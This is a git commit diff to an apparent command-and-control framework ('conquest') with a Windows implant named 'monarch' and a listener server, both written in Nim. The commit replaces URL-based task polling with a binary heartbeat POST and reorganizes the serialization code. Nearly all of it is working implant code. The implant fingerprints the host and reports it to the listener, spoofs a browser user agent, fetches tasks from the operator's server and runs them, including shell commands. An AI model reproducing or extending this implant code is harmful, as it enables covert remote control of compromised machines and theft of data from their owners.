Implemented Heartbeat/Checkin request with agentId/listenerId in request body to simplify listener URLs

This commit is contained in:
Jakob Friedl
2025-07-22 21:00:39 +02:00
parent 1a3724a2fd
commit 725696ffa5
17 changed files with 362 additions and 286 deletions

View File

@@ -1,30 +0,0 @@
import winim
type
ProductType* = enum
UNKNOWN = 0
WORKSTATION = 1
DC = 2
SERVER = 3
# API Structs
type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
dwOSVersionInfoSize*: ULONG
dwMajorVersion*: ULONG
dwMinorVersion*: ULONG
dwBuildNumber*: ULONG
dwPlatformId*: ULONG
szCSDVersion*: array[128, WCHAR]
wServicePackMajor*: USHORT
wServicePackMinor*: USHORT
wSuiteMask*: USHORT
wProductType*: UCHAR
wReserved*: UCHAR
type
AgentConfig* = ref object
agentId*: string
listenerId*: string
ip*: string
port*: int
sleep*: int

View File

@@ -1,4 +1,4 @@
#!/bin/bash #!/bin/bash
CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest" CONQUEST_ROOT="/mnt/c/Users/jakob/Documents/Projects/conquest"
nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/monarch.nim nim --os:windows --cpu:amd64 --gcc.exe:x86_64-w64-mingw32-gcc --gcc.linkerexe:x86_64-w64-mingw32-gcc -d:release --outdir:"$CONQUEST_ROOT/bin" -o:"monarch.x64.exe" c $CONQUEST_ROOT/src/agents/monarch/main.nim

View File

@@ -1,6 +1,5 @@
import os, strutils, strformat, winim, times, algorithm import os, strutils, strformat, winim, times, algorithm
import ../agentTypes
import ../core/taskresult import ../core/taskresult
import ../../../common/[types, utils] import ../../../common/[types, utils]

View File

@@ -1,7 +1,6 @@
import winim, osproc, strutils, strformat import winim, osproc, strutils, strformat
import ../core/taskresult import ../core/taskresult
import ../agentTypes
import ../../../common/[types, utils] import ../../../common/[types, utils]
proc taskShell*(config: AgentConfig, task: Task): TaskResult = proc taskShell*(config: AgentConfig, task: Task): TaskResult =

View File

@@ -1,6 +1,5 @@
import os, strutils, strformat import os, strutils, strformat
import ../[agentTypes]
import ../core/taskresult import ../core/taskresult
import ../../../common/[types, utils, serialize] import ../../../common/[types, utils, serialize]

View File

@@ -0,0 +1,48 @@
import times
import ../../../common/[types, serialize, utils]
proc createHeartbeat*(config: AgentConfig): Heartbeat =
return Heartbeat(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_HEARTBEAT),
flags: cast[uint16](FLAG_PLAINTEXT),
seqNr: 0'u32, # Sequence number is not used for heartbeats
size: 0'u32,
hmac: default(array[16, byte])
),
agentId: uuidToUint32(config.agentId),
listenerId: uuidToUint32(config.listenerId),
timestamp: uint32(now().toTime().toUnix())
)
proc serializeHeartbeat*(request: Heartbeat): seq[byte] =
var packer = initPacker()
# Serialize check-in / heartbeat request
packer
.add(request.agentId)
.add(request.listenerId)
.add(request.timestamp)
let body = packer.pack()
packer.reset()
# TODO: Encrypt check-in / heartbeat request body
# Serialize header
packer
.add(request.header.magic)
.add(request.header.version)
.add(request.header.packetType)
.add(request.header.flags)
.add(request.header.seqNr)
.add(cast[uint32](body.len))
.addData(request.header.hmac)
let header = packer.pack()
return header & body

View File

@@ -1,7 +1,6 @@
import httpclient, json, strformat, asyncdispatch import httpclient, json, strformat, asyncdispatch
import ./metadata import ./metadata
import ../agentTypes
import ../../../common/[types, utils] import ../../../common/[types, utils]
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
@@ -31,14 +30,22 @@ proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discard
return true return true
proc getTasks*(config: AgentConfig): string = proc getTasks*(config: AgentConfig, checkinData: seq[byte]): string =
let client = newAsyncHttpClient(userAgent = USER_AGENT) let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = "" var responseBody = ""
# Define HTTP headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $checkinData.len
})
let body = checkinData.toString()
try: try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization # Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks") responseBody = waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/tasks", body)
return responseBody return responseBody
except CatchableError as err: except CatchableError as err:

View File

@@ -1,7 +1,6 @@
import winim, os, net, strformat, strutils, registry import winim, os, net, strformat, strutils, registry
import ../agentTypes import ../../../common/[types, serialize, utils]
import ../../../common/[types, utils]
# Hostname/Computername # Hostname/Computername
proc getHostname*(): string = proc getHostname*(): string =
@@ -69,7 +68,28 @@ proc getIPv4Address*(): string =
return $getPrimaryIpAddr() return $getPrimaryIpAddr()
# Windows Version fingerprinting # Windows Version fingerprinting
proc getWindowsVersion*(info: agentTypes.OSVersionInfoExW, productType: ProductType): string = type
ProductType* = enum
UNKNOWN = 0
WORKSTATION = 1
DC = 2
SERVER = 3
# API Structs
type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
dwOSVersionInfoSize*: ULONG
dwMajorVersion*: ULONG
dwMinorVersion*: ULONG
dwBuildNumber*: ULONG
dwPlatformId*: ULONG
szCSDVersion*: array[128, WCHAR]
wServicePackMajor*: USHORT
wServicePackMinor*: USHORT
wSuiteMask*: USHORT
wProductType*: UCHAR
wReserved*: UCHAR
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let let
major = info.dwMajorVersion major = info.dwMajorVersion
minor = info.dwMinorVersion minor = info.dwMinorVersion
@@ -152,11 +172,11 @@ proc getProductType(): ProductType =
proc getOSVersion*(): string = proc getOSVersion*(): string =
proc rtlGetVersion(lpVersionInformation: var agentTypes.OSVersionInfoExW): NTSTATUS proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".} {.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
when defined(windows): when defined(windows):
var osInfo: agentTypes.OSVersionInfoExW var osInfo: OSVersionInfoExW
discard rtlGetVersion(osInfo) discard rtlGetVersion(osInfo)
# echo $int(osInfo.dwMajorVersion) # echo $int(osInfo.dwMajorVersion)
# echo $int(osInfo.dwMinorVersion) # echo $int(osInfo.dwMinorVersion)
@@ -172,13 +192,13 @@ proc getOSVersion*(): string =
else: else:
return "Unknown" return "Unknown"
proc getRegistrationData*(config: AgentConfig): AgentRegistrationData = proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
return AgentRegistrationData( return AgentRegistrationData(
header: Header( header: Header(
magic: MAGIC, magic: MAGIC,
version: VERSION, version: VERSION,
packetType: cast[uint8](MSG_RESPONSE), packetType: cast[uint8](MSG_REGISTER),
flags: cast[uint16](FLAG_PLAINTEXT), flags: cast[uint16](FLAG_PLAINTEXT),
seqNr: 1'u32, # TODO: Implement sequence tracking seqNr: 1'u32, # TODO: Implement sequence tracking
size: 0'u32, size: 0'u32,
@@ -198,3 +218,40 @@ proc getRegistrationData*(config: AgentConfig): AgentRegistrationData =
sleep: cast[uint32](config.sleep) sleep: cast[uint32](config.sleep)
) )
) )
proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
var packer = initPacker()
# Serialize registration data
packer
.add(data.metadata.agentId)
.add(data.metadata.listenerId)
.addVarLengthMetadata(data.metadata.username)
.addVarLengthMetadata(data.metadata.hostname)
.addVarLengthMetadata(data.metadata.domain)
.addVarLengthMetadata(data.metadata.ip)
.addVarLengthMetadata(data.metadata.os)
.addVarLengthMetadata(data.metadata.process)
.add(data.metadata.pid)
.add(data.metadata.isElevated)
.add(data.metadata.sleep)
let metadata = packer.pack()
packer.reset()
# TODO: Encrypt metadata
# Serialize header
packer
.add(data.header.magic)
.add(data.header.version)
.add(data.header.packetType)
.add(data.header.flags)
.add(data.header.seqNr)
.add(cast[uint32](metadata.len))
.addData(data.header.hmac)
let header = packer.pack()
return header & metadata

View File

@@ -1,164 +0,0 @@
import strutils, strformat
import ../../../common/[types, utils, serialize]
proc deserializeTask*(bytes: seq[byte]): Task =
var unpacker = initUnpacker(bytes.toString)
let
magic = unpacker.getUint32()
version = unpacker.getUint8()
packetType = unpacker.getUint8()
flags = unpacker.getUint16()
seqNr = unpacker.getUint32()
size = unpacker.getUint32()
hmacBytes = unpacker.getBytes(16)
# Explicit conversion from seq[byte] to array[16, byte]
var hmac: array[16, byte]
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
# Packet Validation
if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
# TODO: Validate sequence number
# TODO: Validate HMAC
# TODO: Decrypt payload
# let payload = unpacker.getBytes(size)
let
taskId = unpacker.getUint32()
agentId = unpacker.getUint32()
listenerId = unpacker.getUint32()
timestamp = unpacker.getUint32()
command = unpacker.getUint16()
var argCount = unpacker.getUint8()
var args = newSeq[TaskArg]()
# Parse arguments
var i = 0
while i < int(argCount):
args.add(unpacker.getArgument())
inc i
return Task(
header: Header(
magic: magic,
version: version,
packetType: packetType,
flags: flags,
seqNr: seqNr,
size: size,
hmac: hmac
),
taskId: taskId,
agentId: agentId,
listenerId: listenerId,
timestamp: timestamp,
command: command,
argCount: argCount,
args: args
)
proc deserializePacket*(packet: string): seq[Task] =
result = newSeq[Task]()
var unpacker = initUnpacker(packet)
var taskCount = unpacker.getUint8()
echo fmt"[*] Response contained {taskCount} tasks."
if taskCount <= 0:
return @[]
while taskCount > 0:
# Read length of each task and store the task object in a seq[byte]
let
taskLength = unpacker.getUint32()
taskBytes = unpacker.getBytes(int(taskLength))
result.add(deserializeTask(taskBytes))
dec taskCount
proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
var packer = initPacker()
# Serialize result body
packer
.add(taskResult.taskId)
.add(taskResult.agentId)
.add(taskResult.listenerId)
.add(taskResult.timestamp)
.add(taskResult.command)
.add(taskResult.status)
.add(taskResult.resultType)
.add(taskResult.length)
if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
packer.addData(taskResult.data)
let body = packer.pack()
packer.reset()
# TODO: Encrypt result body
# Serialize header
packer
.add(taskResult.header.magic)
.add(taskResult.header.version)
.add(taskResult.header.packetType)
.add(taskResult.header.flags)
.add(taskResult.header.seqNr)
.add(cast[uint32](body.len))
.addData(taskResult.header.hmac)
let header = packer.pack()
# TODO: Calculate and patch HMAC
return header & body
proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
var packer = initPacker()
# Serialize registration data
packer
.add(data.metadata.agentId)
.add(data.metadata.listenerId)
.addVarLengthMetadata(data.metadata.username)
.addVarLengthMetadata(data.metadata.hostname)
.addVarLengthMetadata(data.metadata.domain)
.addVarLengthMetadata(data.metadata.ip)
.addVarLengthMetadata(data.metadata.os)
.addVarLengthMetadata(data.metadata.process)
.add(data.metadata.pid)
.add(data.metadata.isElevated)
.add(data.metadata.sleep)
let metadata = packer.pack()
packer.reset()
# TODO: Encrypt metadata
# Serialize header
packer
.add(data.header.magic)
.add(data.header.version)
.add(data.header.packetType)
.add(data.header.flags)
.add(data.header.seqNr)
.add(cast[uint32](metadata.len))
.addData(data.header.hmac)
let header = packer.pack()
return header & metadata

View File

@@ -1,9 +1,7 @@
import strutils, tables, json import strutils, tables, json, strformat
import ../agentTypes
import ../commands/commands import ../commands/commands
import ../../../common/[types, utils] import ../../../common/[types, serialize, utils]
import sugar
proc handleTask*(config: AgentConfig, task: Task): TaskResult = proc handleTask*(config: AgentConfig, task: Task): TaskResult =
@@ -22,3 +20,90 @@ proc handleTask*(config: AgentConfig, task: Task): TaskResult =
# Handle task command # Handle task command
return handlers[cast[CommandType](task.command)](config, task) return handlers[cast[CommandType](task.command)](config, task)
proc deserializeTask*(bytes: seq[byte]): Task =
var unpacker = initUnpacker(bytes.toString)
let
magic = unpacker.getUint32()
version = unpacker.getUint8()
packetType = unpacker.getUint8()
flags = unpacker.getUint16()
seqNr = unpacker.getUint32()
size = unpacker.getUint32()
hmacBytes = unpacker.getBytes(16)
# Explicit conversion from seq[byte] to array[16, byte]
var hmac: array[16, byte]
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
# Packet Validation
if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
if packetType != cast[uint8](MSG_TASK):
raise newException(CatchableError, "Invalid packet type.")
# TODO: Validate sequence number
# TODO: Validate HMAC
# TODO: Decrypt payload
# let payload = unpacker.getBytes(size)
let
taskId = unpacker.getUint32()
agentId = unpacker.getUint32()
listenerId = unpacker.getUint32()
timestamp = unpacker.getUint32()
command = unpacker.getUint16()
var argCount = unpacker.getUint8()
var args = newSeq[TaskArg]()
# Parse arguments
var i = 0
while i < int(argCount):
args.add(unpacker.getArgument())
inc i
return Task(
header: Header(
magic: magic,
version: version,
packetType: packetType,
flags: flags,
seqNr: seqNr,
size: size,
hmac: hmac
),
taskId: taskId,
agentId: agentId,
listenerId: listenerId,
timestamp: timestamp,
command: command,
argCount: argCount,
args: args
)
proc deserializePacket*(packet: string): seq[Task] =
result = newSeq[Task]()
var unpacker = initUnpacker(packet)
var taskCount = unpacker.getUint8()
echo fmt"[*] Response contained {taskCount} tasks."
if taskCount <= 0:
return @[]
while taskCount > 0:
# Read length of each task and store the task object in a seq[byte]
let
taskLength = unpacker.getUint32()
taskBytes = unpacker.getBytes(int(taskLength))
result.add(deserializeTask(taskBytes))
dec taskCount

View File

@@ -1,5 +1,5 @@
import times import times
import ../../../common/[types, utils] import ../../../common/[types, serialize, utils]
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult = proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
@@ -23,3 +23,42 @@ proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, r
length: uint32(resultData.len), length: uint32(resultData.len),
data: resultData, data: resultData,
) )
proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
var packer = initPacker()
# Serialize result body
packer
.add(taskResult.taskId)
.add(taskResult.agentId)
.add(taskResult.listenerId)
.add(taskResult.timestamp)
.add(taskResult.command)
.add(taskResult.status)
.add(taskResult.resultType)
.add(taskResult.length)
if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
packer.addData(taskResult.data)
let body = packer.pack()
packer.reset()
# TODO: Encrypt result body
# Serialize header
packer
.add(taskResult.header.magic)
.add(taskResult.header.version)
.add(taskResult.header.packetType)
.add(taskResult.header.flags)
.add(taskResult.header.seqNr)
.add(cast[uint32](body.len))
.addData(taskResult.header.hmac)
let header = packer.pack()
# TODO: Calculate and patch HMAC
return header & body

View File

@@ -1,10 +1,9 @@
import strformat, os, times, random import strformat, os, times, random
import winim import winim
import sugar
import ./agentTypes import core/[task, taskresult, heartbeat, http, metadata]
import core/[task, packer, http, metadata]
import ../../common/[types, utils] import ../../common/[types, utils]
import sugar
const ListenerUuid {.strdefine.}: string = "" const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0 const Octet1 {.intdefine.}: int = 0
@@ -45,7 +44,7 @@ proc main() =
) )
# Create registration payload # Create registration payload
let registrationData: AgentRegistrationData = config.getRegistrationData() let registrationData: AgentRegistrationData = config.collectAgentMetadata()
let registrationBytes = serializeRegistrationData(registrationData) let registrationBytes = serializeRegistrationData(registrationData)
config.register(registrationBytes) config.register(registrationBytes)
@@ -67,8 +66,12 @@ proc main() =
let date: string = now().format("dd-MM-yyyy HH:mm:ss") let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in." echo fmt"[{date}] Checking in."
# Retrieve task queue for the current agent # Retrieve task queue for the current agent by sending a check-in/heartbeat request
let packet: string = config.getTasks() # The check-in request contains the agentId, listenerId, so the server knows which tasks to return
let
heartbeat: Heartbeat = config.createHeartbeat()
heartbeatData: seq[byte] = serializeHeartbeat(heartbeat)
packet: string = config.getTasks(heartbeatData)
if packet.len <= 0: if packet.len <= 0:
echo "No tasks to execute." echo "No tasks to execute."

View File

@@ -14,7 +14,7 @@ type
MSG_TASK = 0'u8 MSG_TASK = 0'u8
MSG_RESPONSE = 1'u8 MSG_RESPONSE = 1'u8
MSG_REGISTER = 2'u8 MSG_REGISTER = 2'u8
MSG_CHECKIN = 100'u8 MSG_HEARTBEAT = 100'u8
ArgType* = enum ArgType* = enum
STRING = 0'u8 STRING = 0'u8
@@ -85,7 +85,7 @@ type
length*: uint32 # [4 bytes ] result length length*: uint32 # [4 bytes ] result length
data*: seq[byte] # variable length result data*: seq[byte] # variable length result
# Commands # Structure for command module definitions
Argument* = object Argument* = object
name*: string name*: string
description*: string description*: string
@@ -100,9 +100,16 @@ type
arguments*: seq[Argument] arguments*: seq[Argument]
dispatchMessage*: string dispatchMessage*: string
# Agent structure # Checkin binary structure
type type
Heartbeat* = object
header*: Header
agentId*: uint32 # [4 bytes ] agent id
listenerId*: uint32 # [4 bytes ] listener id
timestamp*: uint32
# Registration binary structure
type
# All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data # All variable length fields are stored as seq[byte], prefixed with 4 bytes indicating the length of the following data
AgentMetadata* = object AgentMetadata* = object
agentId*: uint32 agentId*: uint32
@@ -122,6 +129,8 @@ type
# encMaterial*: seq[byte] # Encryption material for the agent registration # encMaterial*: seq[byte] # Encryption material for the agent registration
metadata*: AgentMetadata metadata*: AgentMetadata
# Agent structure
type
Agent* = ref object Agent* = ref object
agentId*: string agentId*: string
listenerId*: string listenerId*: string
@@ -158,3 +167,12 @@ type
listeners*: Table[string, Listener] listeners*: Table[string, Listener]
agents*: Table[string, Agent] agents*: Table[string, Agent]
interactAgent*: Agent interactAgent*: Agent
# Agent Config
type
AgentConfig* = ref object
agentId*: string
listenerId*: string
ip*: string
port*: int
sleep*: int

View File

@@ -39,29 +39,36 @@ proc register*(registrationData: seq[byte]): bool =
return true return true
proc getTasks*(listener, agent: string): seq[seq[byte]] = proc getTasks*(checkinData: seq[byte]): seq[seq[byte]] =
{.cast(gcsafe).}: {.cast(gcsafe).}:
# Deserialize checkin request to obtain agentId and listenerId
let
request: Heartbeat = deserializeHeartbeat(checkinData)
agentId = uuidToString(request.agentId)
listenerId = uuidToString(request.listenerId)
timestamp = request.timestamp
var result: seq[seq[byte]] var result: seq[seq[byte]]
# Check if listener exists # Check if listener exists
if not cq.dbListenerExists(listener.toUpperAscii): if not cq.dbListenerExists(listenerId):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listener}.", "\n") cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent listener: {listenerId}.", "\n")
raise newException(ValueError, "Invalid listener.") raise newException(ValueError, "Invalid listener.")
# Check if agent exists # Check if agent exists
if not cq.dbAgentExists(agent.toUpperAscii): if not cq.dbAgentExists(agentId):
cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agent}.", "\n") cq.writeLine(fgRed, styleBright, fmt"[-] Task-retrieval request made to non-existent agent: {agentId}.", "\n")
raise newException(ValueError, "Invalid agent.") raise newException(ValueError, "Invalid agent.")
# Update the last check-in date for the accessed agent # Update the last check-in date for the accessed agent
cq.agents[agent.toUpperAscii].latestCheckin = now() cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local()
# if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")): # if not cq.dbUpdateCheckin(agent.toUpperAscii, now().format("dd-MM-yyyy HH:mm:ss")):
# return nil # return nil
# Return tasks # Return tasks
for task in cq.agents[agent.toUpperAscii].tasks: for task in cq.agents[agentId].tasks:
let taskData = serializeTask(task) let taskData = serializeTask(task)
result.add(taskData) result.add(taskData)

View File

@@ -22,66 +22,26 @@ proc register*(ctx: Context) {.async.} =
try: try:
let agentId = register(ctx.request.body.toBytes()) let agentId = register(ctx.request.body.toBytes())
resp "Ok", Http200 resp "", Http200
except CatchableError: except CatchableError:
resp "", Http404 resp "", Http404
# try:
# let
# postData: JsonNode = parseJson(ctx.request.body)
# agentRegistrationData: AgentRegistrationData = postData.to(AgentRegistrationData)
# agentUuid: string = generateUUID()
# listenerUuid: string = ctx.getPathParams("listener")
# date: DateTime = now()
# let agent: Agent = Agent(
# name: agentUuid,
# listener: listenerUuid,
# username: agentRegistrationData.username,
# hostname: agentRegistrationData.hostname,
# domain: agentRegistrationData.domain,
# process: agentRegistrationData.process,
# pid: agentRegistrationData.pid,
# ip: agentRegistrationData.ip,
# os: agentRegistrationData.os,
# elevated: agentRegistrationData.elevated,
# sleep: agentRegistrationData.sleep,
# jitter: 0.2,
# tasks: @[],
# firstCheckin: date,
# latestCheckin: date
# )
# # Fully register agent and add it to database
# if not agent.register():
# # Either the listener the agent tries to connect to does not exist in the database, or the insertion of the agent failed
# # Return a 404 error code either way
# resp "", Http404
# return
# # If registration is successful, the agent receives it's UUID, which is then used to poll for tasks and post results
# resp agent.name
# except CatchableError:
# # JSON data is invalid or does not match the expected format (described above)
# resp "", Http404
# return
#[ #[
GET /{listener-uuid}/{agent-uuid}/tasks POST /tasks
Called from agent to check for new tasks Called from agent to check for new tasks
]# ]#
proc getTasks*(ctx: Context) {.async.} = proc getTasks*(ctx: Context) {.async.} =
let # Check headers
listener = ctx.getPathParams("listener") # If POST data is not binary data, return 404 error code
agent = ctx.getPathParams("agent") if ctx.request.contentType != "application/octet-stream":
resp "", Http404
return
try: try:
var response: seq[byte] var response: seq[byte]
let tasks: seq[seq[byte]] = getTasks(listener, agent) let tasks: seq[seq[byte]] = getTasks(ctx.request.body.toBytes())
if tasks.len <= 0: if tasks.len <= 0:
resp "", Http200 resp "", Http200
@@ -89,7 +49,7 @@ proc getTasks*(ctx: Context) {.async.} =
# Create response, containing number of tasks, as well as length and content of each task # Create response, containing number of tasks, as well as length and content of each task
# This makes it easier for the agent to parse the tasks # This makes it easier for the agent to parse the tasks
response.add(uint8(tasks.len)) response.add(cast[uint8](tasks.len))
for task in tasks: for task in tasks:
response.add(uint32(task.len).toBytes()) response.add(uint32(task.len).toBytes())

View File

@@ -67,7 +67,7 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
# Define API endpoints # Define API endpoints
listener.post("register", routes.register) listener.post("register", routes.register)
listener.get("{listener}/{agent}/tasks", routes.getTasks) listener.post("tasks", routes.getTasks)
listener.post("results", routes.postResults) listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)
@@ -100,7 +100,7 @@ proc restartListeners*(cq: Conquest) =
# Define API endpoints # Define API endpoints
listener.post("register", routes.register) listener.post("register", routes.register)
listener.get("{listener}/{agent}/tasks", routes.getTasks) listener.post("tasks", routes.getTasks)
listener.post("results", routes.postResults) listener.post("results", routes.postResults)
listener.registerErrorHandler(Http404, routes.error404) listener.registerErrorHandler(Http404, routes.error404)

View File

@@ -60,6 +60,9 @@ proc deserializeTaskResult*(resultData: seq[byte]): TaskResult =
if magic != MAGIC: if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.") raise newException(CatchableError, "Invalid magic bytes.")
if packetType != cast[uint8](MSG_RESPONSE):
raise newException(CatchableError, "Invalid packet type for task result, expected MSG_RESPONSE.")
# TODO: Validate sequence number # TODO: Validate sequence number
# TODO: Validate HMAC # TODO: Validate HMAC
@@ -120,6 +123,9 @@ proc deserializeNewAgent*(data: seq[byte]): Agent =
if magic != MAGIC: if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.") raise newException(CatchableError, "Invalid magic bytes.")
if packetType != cast[uint8](MSG_REGISTER):
raise newException(CatchableError, "Invalid packet type for agent registration, expected MSG_REGISTER.")
# TODO: Validate sequence number # TODO: Validate sequence number
# TODO: Validate HMAC # TODO: Validate HMAC
@@ -158,5 +164,48 @@ proc deserializeNewAgent*(data: seq[byte]): Agent =
latestCheckin: now() latestCheckin: now()
) )
proc deserializeHeartbeat*(data: seq[byte]): Heartbeat =
var unpacker = initUnpacker(data.toString)
let
magic = unpacker.getUint32()
version = unpacker.getUint8()
packetType = unpacker.getUint8()
flags = unpacker.getUint16()
seqNr = unpacker.getUint32()
size = unpacker.getUint32()
hmacBytes = unpacker.getBytes(16)
# Explicit conversion from seq[byte] to array[16, byte]
var hmac: array[16, byte]
copyMem(hmac.addr, hmacBytes[0].unsafeAddr, 16)
# Packet Validation
if magic != MAGIC:
raise newException(CatchableError, "Invalid magic bytes.")
if packetType != cast[uint8](MSG_HEARTBEAT):
raise newException(CatchableError, "Invalid packet type for checkin request, expected MSG_HEARTBEAT.")
# TODO: Validate sequence number
# TODO: Validate HMAC
# TODO: Decrypt payload
# let payload = unpacker.getBytes(size)
return Heartbeat(
header: Header(
magic: magic,
version: version,
packetType: packetType,
flags: flags,
seqNr: seqNr,
size: size,
hmac: hmac
),
agentId: unpacker.getUint32(),
listenerId: unpacker.getUint32(),
timestamp: unpacker.getUint32()
)